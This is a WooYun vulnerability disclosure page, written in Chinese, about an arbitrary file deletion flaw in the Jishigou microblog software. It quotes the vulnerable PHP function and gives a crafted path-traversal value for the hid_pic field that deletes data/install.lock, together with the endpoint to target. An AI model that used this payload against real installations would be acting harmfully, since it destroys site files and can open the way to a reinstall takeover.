当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-09453

漏洞标题:记事狗任意文件删除

相关厂商:杭州神话

漏洞作者: yy520

提交时间:2012-07-11 09:42

修复时间:2012-08-25 09:43

公开时间:2012-08-25 09:43

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-07-11: 细节已通知厂商并且等待厂商处理中
2012-07-13: 厂商已经确认,细节仅向厂商公开
2012-07-16: 细节向第三方安全合作伙伴开放
2012-09-06: 细节向核心白帽子及相关领域专家公开
2012-09-16: 细节向普通白帽子公开
2012-09-26: 细节向实习白帽子公开
2012-08-25: 细节向公众公开

简要描述:

任意文件删除。
为了能拿回rank
为了能拿到礼物
我再花一个晚上挖漏洞。。。。。。
对了,说好的礼物在哪里???

详细说明:

利用条件:
1.仅限于windows主机,linux无效(至少我本机就不行)
2.已注册用户
3.需要删除的文件可读写
在modules/ajax/event.mod.php中

#保护性删除图片
function doUnlink($pic){
if(!$pic) return false;
$type = trim(strtolower(end(explode(".",$pic))));
$exp = '././images/event/[0-9]{10}'.MEMBER_ID.'_b.'.$type;
if(ereg($exp,$pic)){
unlink($pic);
unlink(strtr($pic,'_b.','_s.'));
return true;
}else {
return false;
}
}


该函数在 onloadPic中被调用

if($_FILES['pic']['name']){
//省略.....................
$hid_pic = $this->Post['hid_pic'];
$eid = (int) $this->Post['id'];
$this->doUnlink($hid_pic,$eid);
//省略.............
}


只要$_FILES['pic']['name'] 不为空,然后我们就可以构造hid_pic了
hid_pic 的内容为:
././images/event/1234567890{MEMBER_ID}_b.{你要删除的文件的后缀}/../../../{你要删除的文件}
比如我们要删除./data/install.lock文件,而且我的MEMBER_ID为2 则:
././images/event/12345678902_b.lock/../../../data/install.lock
本地测试成功
实际利用:
在 index.php?mod=event&code=pevent
上传抓包,然后在hid_pic底下填写././images/event/12345678902_b.lock/../../../data/install.lock 即可

漏洞证明:

.....懒得了

修复方案:

do it yourself

版权声明:转载请注明来源 yy520@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2012-07-13 17:23

厂商回复:

漏洞已经确认正在修复中,稍后给出修复方案,感谢反馈

最新状态:

暂无


漏洞评价:

评论

  1. 2012-07-11 10:09 | xiaokinghk ( 实习白帽子 | Rank:82 漏洞数:16 | 【DBA】)

    有木有先保存配置文件的洞洞

  2. 2012-07-13 17:26 | 杭州神话(乌云厂商)

    @yy520 已经在乌云站内发送了联系方式索取申请给你,请赐予相关联系方式,我们会有工作人员联系你的

  3. 2012-07-15 14:17 | hongygxiang ( 普通白帽子 | Rank:115 漏洞数:12 | 蛋疼)

    这个影响的版本是多少呢?